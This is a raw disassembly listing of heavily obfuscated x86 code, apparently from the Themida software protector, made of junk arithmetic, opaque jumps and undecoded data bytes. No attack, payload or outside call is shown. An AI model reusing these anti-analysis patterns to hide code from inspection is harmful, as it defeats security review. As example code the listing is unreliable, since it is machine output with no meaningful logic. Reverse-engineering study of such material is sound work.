		mov	[esp], ebx
		push	edi
		mov	edi, 3A51FCEh
		mov	ebx, 3E2E5BABh
		xor	ebx, edi
		jmp	loc_5A51CA
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 5
		dd 0DAE8E9h, 2434FF00h,	8B2434FFh, 0C4832404h, 0E6895604h
		dd 0BA06E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A14C1:				; CODE XREF: Themida_:0059BC63j
		sub	ebx, eax
		jmp	loc_5A339E
; ---------------------------------------------------------------------------
		dd 0EA81C201h, 5B475644h, 7587EA81h, 0BE563E58h, 7DC6FA4h
		dd 53D668h, 243C8900h, 5AFD68h,	24148900h, 43B06855h, 2C8B17BBh
		dd 4C48124h, 81000000h,	412548E5h, 0C4DBE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1506:				; CODE XREF: Themida_:005A808Bj
		shr	cl, 1
		push	ebx
		mov	bh, 88h
		or	bh, 0CCh
		push	dx
		mov	dh, bh
		not	dh
		mov	bh, dh
		pop	dx
		sub	bh, 2Ah
		xor	cl, bh
		pop	ebx
		push	eax
		jmp	loc_5998A0
; ---------------------------------------------------------------------------
		dd 56241489h, 0FF7872E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A152D:				; CODE XREF: Themida_:005A3CF2j
		sub	al, 90h
		jg	loc_59BBA4
		xor	al, 89h
		jnp	loc_5A6975
		or	ah, 29h
		push	eax
		mov	ah, 10h
		or	ah, 6
		jmp	loc_5AF275
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C892424h, 81E18924h, 4C1h, 89E95100h, 8BFFFFCEh, 24E9243Ch
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1567:				; CODE XREF: Themida_:0059DA20j
		mov	edx, [esp]
		push	1EA1h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 203F2153h
		add	esi, 6ACD2DDCh
		add	esi, 66CA0205h
		or	esi, 6DA054A4h
		push	eax
		mov	eax, 4D84563Dh
		jmp	loc_599AF4
; ---------------------------------------------------------------------------


loc_5A15A2:				; CODE XREF: Themida_:0059D0A5j
		mov	edx, 8C06801Ah
		jmp	loc_59A567
; ---------------------------------------------------------------------------
		dd 0F52E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A15B2:				; CODE XREF: Themida_:005A1D94j
		or	ah, 51h
		jo	loc_59CA0C
		push	ecx
		jmp	loc_5A718A
; ---------------------------------------------------------------------------


loc_5A15C1:				; CODE XREF: Themida_:005A9387j
		mov	esp, [esp]
		jmp	loc_59D5B8
; ---------------------------------------------------------------------------
		db 0C1h, 0E8h, 8
		dd 3135D0F7h, 5099A144h, 2D243481h, 0E9651B09h,	6868h
; ---------------------------------------------------------------------------


loc_5A15E0:				; CODE XREF: Themida_:005A1D14j
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59F1C3
; ---------------------------------------------------------------------------


loc_5A15EC:				; CODE XREF: Themida_:0059932Fj
		add	al, dh
		jmp	loc_5ADF2A
; ---------------------------------------------------------------------------


loc_5A15F3:				; CODE XREF: Themida_:0059FCC0j
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5A32F5
; ---------------------------------------------------------------------------


loc_5A15FD:				; CODE XREF: Themida_:005A6167j
		add	dh, 0BEh
		add	dh, 0FDh
		jmp	loc_5AD686
; ---------------------------------------------------------------------------
		dd 4C781h, 52E90000h, 0FFFFFFADh, 44E92C77h, 0F0000A0h
		dd 0FFD47680h, 1AF181FFh, 5170EB0Eh, 0EFC1595Fh, 4E7C106h
		dd 0EF81D7F7h, 0DA0AE021h, 0FFA83CE9h, 240C89FFh, 5718BB53h
		dd 3DE90A84h
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A164B:				; CODE XREF: Themida_:005AE7E6j
		add	edx, ecx
		jmp	loc_5A3BFA
; ---------------------------------------------------------------------------


loc_5A1652:				; CODE XREF: Themida_:005A1435j
		jmp	loc_5A11D6
; ---------------------------------------------------------------------------


loc_5A1657:				; CODE XREF: Themida_:0059CB6Aj
		sub	dl, 51h
		or	dl, 0D7h
		inc	dl
		inc	dl
		push	ecx
		mov	cl, 6Bh
		xor	cl, 67h
		jmp	loc_5A6285
; ---------------------------------------------------------------------------
		dd 81E68956h, 4C6h, 4C68300h, 0E9243487h, 3584h
; ---------------------------------------------------------------------------


loc_5A1680:				; CODE XREF: Themida_:005A39AAj
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A16A8:				; CODE XREF: Themida_:0059F131j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5A3DEE
; ---------------------------------------------------------------------------


loc_5A16B3:				; CODE XREF: Themida_:005988ECj
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		push	6547h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59D008
; ---------------------------------------------------------------------------


loc_5A16E9:				; CODE XREF: Themida_:0059D077j
		add	ebx, 40DD013Dh
		jns	loc_598C07
		not	ebx
		jmp	loc_5AF205
; ---------------------------------------------------------------------------
		dd 24240C33h
		db 2Bh
; ---------------------------------------------------------------------------


loc_5A1701:				; CODE XREF: Themida_:005AAF44j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, 53A3469Fh
		xor	eax, 59FF336Dh
		jle	loc_59B705
		shl	eax, 2
		jnp	loc_5A713C
		neg	eax
		jmp	loc_5A3ED3
; ---------------------------------------------------------------------------
		dw 0EB88h
		db 56h
; ---------------------------------------------------------------------------


loc_5A1745:				; CODE XREF: Themida_:005AC3EAj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, eax
		push	edx
		add	dword ptr [esp], 4B0074ABh
		pop	ebx
		sub	ebx, 4B0074ABh
		jmp	loc_59FEB8
; ---------------------------------------------------------------------------


loc_5A1765:				; CODE XREF: Themida_:005AC07Dj
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		add	esp, 4
		mov	ecx, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_5A5F2F
; ---------------------------------------------------------------------------


loc_5A177D:				; CODE XREF: Themida_:005AE1F1j
		mov	edx, 6E765D0Fh
		sub	edi, edx
		pop	edx
		jmp	loc_59A5C3
; ---------------------------------------------------------------------------
aS9c		db '\ι9C',0
		align 10h


loc_5A1790:				; CODE XREF: Themida_:0059A1B2j
		sub	ebx, ebp
		pop	ebp
		add	ebx, 158E7EFBh
		jmp	loc_598611
; ---------------------------------------------------------------------------


loc_5A179E:				; CODE XREF: Themida_:005A1B85j
		neg	edi
		shr	edi, 3
		shr	edi, 8
		not	edi
		jmp	loc_598A2E
; ---------------------------------------------------------------------------
		db 0Dh,	46h, 55h
		dd 4E94BC4h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A17B7:				; CODE XREF: Themida_:0059EF98j
		push	3A92h
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		jmp	loc_59E1AE
; ---------------------------------------------------------------------------


loc_5A17C7:				; CODE XREF: Themida_:loc_59C46Bj
		xor	cl, 5Ah
		jnp	loc_5A4C36
		sub	esp, 4
		mov	[esp], eax
		push	eax


loc_5A17DA:				; CODE XREF: Themida_:005A5A2Dj
		jns	loc_5989C7
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		push	64C1h
		mov	[esp], ecx
		pop	edi
		push	ecx
		mov	ecx, 53E41CC0h
		jmp	loc_59E263
; ---------------------------------------------------------------------------


loc_5A17FB:				; CODE XREF: Themida_:00598B47j
		mov	[esp], bx
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	edx
		jmp	loc_5A68A5
; ---------------------------------------------------------------------------


loc_5A180D:				; CODE XREF: Themida_:0059F782j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		sub	dword ptr [esp], 55CD2E16h
		mov	edi, [esp]
		push	0D67h
		mov	[esp], ebx
		jmp	loc_5A7D3D
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0A0DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A1835:				; CODE XREF: Themida_:005AEFE8j
		add	edx, 59AE39A4h
		push	ecx
		mov	ecx, 72726F1h
		add	edx, 17810C2Fh
		add	edx, ecx
		jmp	loc_59983F
; ---------------------------------------------------------------------------


loc_5A184E:				; CODE XREF: Themida_:0059A795j
		add	bl, 0B4h
		add	bl, 3Ch
		movzx	eax, al
		jmp	loc_5AF4EB
; ---------------------------------------------------------------------------


loc_5A185C:				; CODE XREF: Themida_:005ADCFBj
		add	bl, ah
		add	bl, 0CDh
		mov	eax, [esp]
		add	esp, 4
		sub	bl, 0C3h
		add	bl, al
		add	bl, 0C3h
		push	ecx
		mov	ch, 0BBh
		sub	esp, 2
		mov	[esp], bx
		mov	bl, 51h
		xor	ch, bl
		pop	bx
		sub	bl, ch
		pop	ecx
		jmp	loc_59EC8E
; ---------------------------------------------------------------------------


loc_5A1887:				; CODE XREF: Themida_:005A7EE2j
		pop	ebp
		sub	eax, esi
		jmp	loc_5A2E00
; ---------------------------------------------------------------------------


loc_5A188F:				; CODE XREF: Themida_:0059AC97j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		mov	eax, 13276E40h
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59F7AD
; ---------------------------------------------------------------------------


loc_5A18AD:				; CODE XREF: Themida_:005A2495j
		jnb	loc_5987E6
		shr	eax, 4
		js	loc_5A9C90
		jmp	loc_5A61E6
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aH1k		db '$h1K',0
		align 2
aIH0		db '‰,$h0)',0
		align 2
aIQsV		db '‰$$QιΊ’',0
		db 0
; ---------------------------------------------------------------------------


loc_5A18DB:				; CODE XREF: Themida_:0059FC63j
		mov	ebx, 26F67167h
		xchg	ebp, ebx
		not	ebp
		push	ebx
		jmp	loc_59EA97
; ---------------------------------------------------------------------------


loc_5A18EA:				; CODE XREF: Themida_:0059CE1Dj
		push	12C1h
		jmp	loc_5AE435
; ---------------------------------------------------------------------------


loc_5A18F4:				; CODE XREF: Themida_:005A7237j
		pop	edx
		xor	eax, [esp]
		jmp	loc_5995BE
; ---------------------------------------------------------------------------


loc_5A18FD:				; CODE XREF: Themida_:005A8B75j
		mov	edx, 35964022h
		mov	ebx, 0AEA89E8Eh
		push	ecx
		jmp	loc_599AC0
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 2DFB6824h, 1C890000h, 815B5424h, 4C3h, 57ACE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1926:				; CODE XREF: Themida_:005ABE01j
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 7B612859h
		or	ebp, 5D1C5144h
		jmp	loc_59B7FB
; ---------------------------------------------------------------------------


loc_5A193A:				; CODE XREF: Themida_:005A78D6j
		add	edi, eax
		pop	eax
		push	140Ch
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_59F91C
; ---------------------------------------------------------------------------
		db 0Fh
		dd 8ABB81h, 0A3EE8100h,	0E958FCF9h, 0FFFFFA72h
		db 8Ah,	0CEh
; ---------------------------------------------------------------------------


loc_5A1962:				; CODE XREF: Themida_:005A8427j
		mov	edx, [esp]
		push	edi
		jmp	loc_5A4ABC
; ---------------------------------------------------------------------------
		db 0E9h
		dd 2956h
; ---------------------------------------------------------------------------


loc_5A1970:				; CODE XREF: Themida_:005AE4A0j
		xor	al, bl
		pop	ebx
		push	ecx
		push	edx
		mov	dl, 7Ah
		shr	dl, 8
		inc	dl
		jns	loc_59A420
		jmp	loc_5AB400
; ---------------------------------------------------------------------------
		db 29h
		dd 788DE9FDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A198E:				; CODE XREF: Themida_:005AD4D6j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5AC926
; ---------------------------------------------------------------------------


loc_5A1999:				; CODE XREF: Themida_:005A5B9Dj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5ACEC2
; ---------------------------------------------------------------------------


loc_5A19A9:				; CODE XREF: Themida_:0059D9AFj
		sub	eax, 53B600DAh
		sub	eax, 2DFE7264h
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_59ED3C
; ---------------------------------------------------------------------------
aEVhe		db '- #₯}VhE-',0
		align 2
		dw 1C89h
		dd 470CBB24h, 7AE9435Fh
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A19E7:				; CODE XREF: Themida_:005ABEFAj
		pop	edi
		mov	esi, ebp
		jmp	loc_59CDE4
; ---------------------------------------------------------------------------
		db 31h
		dd 36E92404h
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A19F7:				; CODE XREF: Themida_:00599BD0j
		or	eax, 20C55DD3h
		neg	eax
		sub	eax, 0D2358B02h
		add	ebx, eax
		pop	eax
		push	469Fh
		jmp	loc_5985BA
; ---------------------------------------------------------------------------


loc_5A1A10:				; CODE XREF: Themida_:005A4744j
		mov	ch, 0A2h
		jmp	loc_59FACC
; ---------------------------------------------------------------------------


loc_5A1A17:				; CODE XREF: Themida_:0059F53Cj
		shl	edi, 6
		xor	edi, 1C4E2EBDh
		push	ecx
		jmp	loc_599512
; ---------------------------------------------------------------------------


loc_5A1A26:				; CODE XREF: Themida_:loc_5A74E0j
					; Themida_:005A7A9Ej
		pop	ecx
		shr	ebx, 5
		sub	ebx, 9EF26AB8h
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 854E49B8h
		xor	edi, ecx
		mov	ecx, [esp]
		jmp	loc_5A85C1
; ---------------------------------------------------------------------------


loc_5A1A48:				; CODE XREF: Themida_:005A4DBBj
		add	ebp, 4
		push	edi
		mov	edi, 6DA8263Ch
		add	edi, 3472291h
		xor	edi, 29A94D6Ch
		xor	edi, 594605A5h
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_59C017
; ---------------------------------------------------------------------------


loc_5A1A82:				; CODE XREF: Themida_:005A039Ej
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_59CE12
		push	3680h
		jmp	loc_5A8F52
; ---------------------------------------------------------------------------


loc_5A1A97:				; CODE XREF: Themida_:005A6838j
		add	al, cl
		add	al, 3Fh
		sub	al, 0D1h
		push	ebx
		push	eax
		mov	al, 0A3h
		inc	al
		jmp	loc_5A3CEC
; ---------------------------------------------------------------------------


loc_5A1AA8:				; CODE XREF: Themida_:005A8AB4j
		pop	edi
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 26FF670Fh
		pop	eax
		push	eax
		mov	eax, 2
		jmp	loc_5AC0B6
; ---------------------------------------------------------------------------
aSpsCh		db 'SPS·–hΣ+',0
		align 10h
		dd 0B0240489h, 58C72865h, 576C6866h, 240C8966h,	49EFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A1AE5:				; CODE XREF: Themida_:005AEBF3j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		add	eax, 4
		jmp	loc_5A3D27
; ---------------------------------------------------------------------------


loc_5A1AF9:				; CODE XREF: Themida_:0059C93Aj
		dec	ecx
		jl	loc_5A711F
		shr	ecx, 7
		jmp	loc_5A4E94
; ---------------------------------------------------------------------------


loc_5A1B08:				; CODE XREF: Themida_:005A035Aj
		mov	eax, 4
		sub	edi, eax
		pop	eax
		jmp	loc_59CF22
; ---------------------------------------------------------------------------
		db 1, 0CFh, 53h
aFhSz		db '»”Hά,ι‡',0
		align 2


loc_5A1B22:				; CODE XREF: Themida_:005AE052j
		mov	[esp], ebp
		mov	eax, [esp]
		push	7B28h
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 4
		jmp	loc_5AA5ED
; ---------------------------------------------------------------------------


loc_5A1B3D:				; CODE XREF: Themida_:005AB1E1j
		mov	[esp], ebx
		jmp	loc_59B27E
; ---------------------------------------------------------------------------


loc_5A1B45:				; CODE XREF: Themida_:0059A1DDj
		sub	esp, 4
		jmp	loc_5998F5
; ---------------------------------------------------------------------------


loc_5A1B4D:				; CODE XREF: Themida_:005AD7A9j
		shr	esi, 6
		or	esi, 60EA5893h
		jl	loc_59EC9C
		jmp	loc_59ED48
; ---------------------------------------------------------------------------


loc_5A1B61:				; CODE XREF: Themida_:005A2AA0j
		push	esi
		mov	esi, 52D131Eh
		or	edx, esi
		pop	esi
		not	edx
		add	edx, 0CD06886Eh
		add	ebx, 0EBB5082h
		sub	ebx, edx
		jmp	loc_5A62C7
; ---------------------------------------------------------------------------


loc_5A1B7F:				; CODE XREF: Themida_:0059E96Dj
		and	edi, 220213AFh
		jmp	loc_5A179E
; ---------------------------------------------------------------------------


loc_5A1B8A:				; CODE XREF: Themida_:005AC69Dj
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_599383
; ---------------------------------------------------------------------------


loc_5A1B94:				; CODE XREF: Themida_:005A7AFEj
		or	esi, 5F077D13h
		add	esi, 0B2223B4h
		sub	esi, 68017141h
		or	ebx, esi
		pop	esi
		push	ecx
		jmp	loc_5AEA08
; ---------------------------------------------------------------------------
		db 89h
		dd 63BB241Ch, 312D9F69h, 8B04245Ch, 0C481241Ch,	4, 8140478Fh
		dd 4ECh, 8591E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1BD2:				; CODE XREF: Themida_:005A0EFFj
		mov	esi, [esp]
		jmp	loc_5A322A
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 24041166h, 67A2E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1BEA:				; CODE XREF: Themida_:005A5582j
					; Themida_:005AA770j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59E585
; ---------------------------------------------------------------------------


loc_5A1BFA:				; CODE XREF: Themida_:005A657Fj
		mov	ecx, 21CD3403h
		or	ecx, 61CE530Eh
		push	esi
		mov	esi, 75272BAFh
		add	ecx, esi
		pop	esi
		push	edx
		mov	edx, 624C51A2h
		shr	edx, 2
		sub	edx, 5D7B15BFh
		add	edx, 0FFFFFFFFh
		push	ebp
		mov	ebp, 151E61AEh
		add	ebp, 8FB06B9h
		jmp	loc_5AC1FD
; ---------------------------------------------------------------------------
		dd 0F707E0C1h, 0D32EE9D8h, 5866FFFFh, 0F6FFEF80h, 1A7968DFh
		dd 14890000h, 808EB224h, 5CE9F3EAh
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1C57:				; CODE XREF: Themida_:0059B610j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 2
		mov	[esp], dx
		jmp	loc_5A121E
; ---------------------------------------------------------------------------
		dd 8106EBC1h, 4B4332E3h, 4E3C135h, 742EEB81h, 0EB813C3Fh
		dd 3AD23368h, 93E9DE01h, 68FFFFBBh, 7AA0h, 83242489h, 5D042404h
		dd 46850h, 34FF0000h, 0E9535824h, 9C2Dh
; ---------------------------------------------------------------------------


loc_5A1CB4:				; CODE XREF: Themida_:005A999Ej
		sub	edi, 9EE4F5Ah
		add	edi, 23AA0990h
		std
		jmp	loc_5A9F6A
; ---------------------------------------------------------------------------


loc_5A1CC6:				; CODE XREF: Themida_:005A75F8j
		push	ebp
		xor	dword ptr [esp], 6D945DA6h
		pop	edi
		xor	edi, 6D945DA6h
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_59E4B6
; ---------------------------------------------------------------------------


loc_5A1CE1:				; CODE XREF: Themida_:0059EC9Fj
					; Themida_:005A3763j
		mov	edx, 4
		sub	edi, edx
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5ABD11
; ---------------------------------------------------------------------------
		dd 542A9DBEh, 11EE814Ch, 0E9328068h, 0F7Fh
; ---------------------------------------------------------------------------


loc_5A1D04:				; CODE XREF: Themida_:005AE1D0j
		sub	edx, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_5A15E0
; ---------------------------------------------------------------------------


loc_5A1D19:				; CODE XREF: Themida_:0059B0E1j
		jmp	loc_5A2708
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 812459A8h, 0FF8CA7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1D29:				; CODE XREF: Themida_:005AD813j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A1D2E:				; CODE XREF: Themida_:005A7FE3j
		not	ah
		dec	ah
		and	ah, 0C3h
		push	ecx
		mov	ch, 30h
		or	ch, 0FCh
		xor	ch, 0A1h
		neg	ch
		xor	ch, 0C9h
		shl	ch, 8
		sub	ch, 39h
		xor	ah, ch
		pop	ecx
		add	ch, ah
		pop	eax
		push	168Eh
		mov	[esp], edx
		mov	dl, 2Ch
		jmp	loc_59A116
; ---------------------------------------------------------------------------


loc_5A1D5E:				; CODE XREF: Themida_:005A40E2j
					; Themida_:005A856Aj
		push	esi
		not	dword ptr [esp]
		pop	esi
		neg	esi
		sub	esi, 49E333A4h
		xor	esi, 0D594326Dh
		xor	edx, esi
		jmp	loc_5AA08B
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 4764h, 0FF2434FFh, 2C8B2434h, 778EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1D8E:				; CODE XREF: Themida_:0059B38Fj
		shl	ah, 3
		shl	ah, 5
		js	loc_5A15B2
		or	ah, 51h
		jo	loc_5A953C
		push	ecx
		mov	cl, 0BBh
		xor	ah, cl
		pop	ecx
		jmp	loc_5ACD28
; ---------------------------------------------------------------------------
		dw 820Fh
		dd 0FFFFDDD6h, 65C068h,	240C8900h
		db 8Bh,	0C7h, 5Ch
; ---------------------------------------------------------------------------


loc_5A1DBF:				; CODE XREF: Themida_:005A415Fj
		mov	edi, 0
		mov	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	ecx, 309772F3h
		jmp	loc_5AD9A8
; ---------------------------------------------------------------------------
		dd 0CA00B7B2h, 0FFB1B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1DE1:				; CODE XREF: Themida_:0059C386j
		mov	edx, esp
		jmp	loc_5AB4F5
; ---------------------------------------------------------------------------


loc_5A1DE8:				; CODE XREF: Themida_:005A3F66j
		mov	bl, dl
		mov	[ecx], bl
		mov	ebx, [esp]
		push	ecx
		push	esp
		push	dword ptr [esp]
		jmp	loc_5A62C1
; ---------------------------------------------------------------------------


loc_5A1DF9:				; CODE XREF: Themida_:005A43C3j
		mov	esi, edx
		pop	edx
		jmp	loc_59A79A
; ---------------------------------------------------------------------------


loc_5A1E01:				; CODE XREF: Themida_:005A1401j
		pop	esp
		push	411h
		mov	[esp], edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	edx
		xor	eax, ecx
		push	dword ptr [esp]
		jmp	loc_59A459
; ---------------------------------------------------------------------------


loc_5A1E1F:				; CODE XREF: Themida_:005A6240j
		mov	eax, esp
		jmp	loc_5A5DCE
; ---------------------------------------------------------------------------


loc_5A1E26:				; CODE XREF: Themida_:0059CBBBj
					; Themida_:0059ED0Aj
		mov	edi, esi
		pop	esi
		jmp	loc_5AAC98
; ---------------------------------------------------------------------------


loc_5A1E2E:				; CODE XREF: Themida_:0059E1D3j
		add	edx, edi
		jmp	loc_599CF1
; ---------------------------------------------------------------------------
a1Sai		db '1ΛιA©',0
		align 4


loc_5A1E3C:				; CODE XREF: Themida_:0059CFF3j
		div	cx
		push	small 316Ah
		jmp	loc_59BC3F
; ---------------------------------------------------------------------------
		dd 24048151h, 447F4562h, 8324348Bh, 0EE8104C4h,	447F4562h
		dd 4B0EE9h, 2434FF00h, 1E286858h, 2AE90000h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1E6F:				; CODE XREF: Themida_:005A56EDj
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 616B52D0h
		xor	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5AE84E
; ---------------------------------------------------------------------------


loc_5A1E97:				; CODE XREF: Themida_:0059A061j
		mov	ebp, ebx
		jmp	loc_5AB190
; ---------------------------------------------------------------------------


loc_5A1E9E:				; CODE XREF: Themida_:0059A056j
		push	edi
		push	eax
		mov	eax, 232C6035h
		or	eax, 5B333C5Eh
		add	eax, 4834593Ah
		jmp	loc_5A7FD1
; ---------------------------------------------------------------------------


loc_5A1EB4:				; CODE XREF: Themida_:00599658j
					; Themida_:005AA086j
		pop	eax
		add	eax, 4
		push	382Eh
		jmp	loc_5AC522
; ---------------------------------------------------------------------------
		dd 4C781h, 0B8500000h, 4, 8758C701h, 685C243Ch,	777Fh
		dd 68242C89h, 4DE1h, 83242489h,	8B042404h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_59D64F
; ---------------------------------------------------------------------------


loc_5A1EFF:				; CODE XREF: Themida_:0059BFC2j
		add	ebx, 504C0EB8h
		jnb	loc_5A56C6
		jmp	loc_5A73A5
; ---------------------------------------------------------------------------
		dd 4BEh
		db 0, 56h
; ---------------------------------------------------------------------------


loc_5A1F16:				; CODE XREF: Themida_:0059F5BFj
		mov	edx, 4
		push	24D5h
		mov	[esp], edx
		pop	edi
		pop	edx
		jmp	loc_5ACBE9
; ---------------------------------------------------------------------------


loc_5A1F2A:				; CODE XREF: Themida_:005AAA37j
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5ACC78
; ---------------------------------------------------------------------------


loc_5A1F3B:				; CODE XREF: Themida_:005AEA99j
		or	eax, 7CC95B89h
		or	eax, 280E65E8h
		jno	loc_5AAD94
		and	eax, 5A522592h
		jmp	loc_599DF0
; ---------------------------------------------------------------------------
		db 0E9h, 9Ah, 7Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1F5A:				; CODE XREF: Themida_:0059F068j
		pop	esi
		inc	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 341100D7h
		xor	ecx, ebx
		pop	ebx
		add	ebx, ecx
		jmp	loc_5AB820
; ---------------------------------------------------------------------------


loc_5A1F71:				; CODE XREF: Themida_:005A29CBj
		pop	edi
		sub	esp, 4
		jmp	loc_5AA382
; ---------------------------------------------------------------------------


loc_5A1F7A:				; CODE XREF: Themida_:005A0848j
		jns	loc_5A9A3F
		xor	edx, 3F1A2417h
		jmp	loc_5995D6
; ---------------------------------------------------------------------------
		db 58h
		db 50h
; ---------------------------------------------------------------------------


loc_5A1F8D:				; CODE XREF: Themida_:005A2B95j
		jge	loc_59E74D
		sub	ebp, 64A45C2Dh
		jmp	loc_5AC7CF
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 1181E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1FA6:				; CODE XREF: Themida_:005AD7E2j
		sub	eax, esi
		jmp	loc_5A0925
; ---------------------------------------------------------------------------


loc_5A1FAD:				; CODE XREF: Themida_:0059F059j
					; Themida_:005AD1B0j
		mov	[esp], ecx
		mov	ecx, 78267282h
		shr	ecx, 7
		jmp	loc_5995F3
; ---------------------------------------------------------------------------


loc_5A1FBD:				; CODE XREF: Themida_:005AA1F4j
		push	edx
		not	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, 33B60E76h
		jmp	loc_5A127F
; ---------------------------------------------------------------------------


loc_5A1FCD:				; CODE XREF: Themida_:005A9800j
		and	edi, 251EB6h
		jmp	loc_5AADAF
; ---------------------------------------------------------------------------
		dd 4447F181h, 8955BB59h, 0E9EB89CDh, 0FFFFCBA4h, 7A6FB951h
		dd 0D1F725E9h, 0FFFD29E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1FF5:				; CODE XREF: Themida_:005999BAj
		pop	ebp
		pop	eax
		mov	ebx, 33774BF2h
		sub	ebx, 5D07287Eh
		jmp	loc_5A87A3
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF9E8Bh, 58E9D789h, 1FFFF83h, 24048BC6h, 3A8FE9h
		dd 24048900h, 4B8h, 8734E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A202A:				; CODE XREF: Themida_:005AE775j
		push	ecx
		jmp	loc_59C6A3
; ---------------------------------------------------------------------------


loc_5A2030:				; CODE XREF: Themida_:0059AF2Bj
		pop	eax
		sub	cl, 0Bh
		jmp	loc_59C46B
; ---------------------------------------------------------------------------


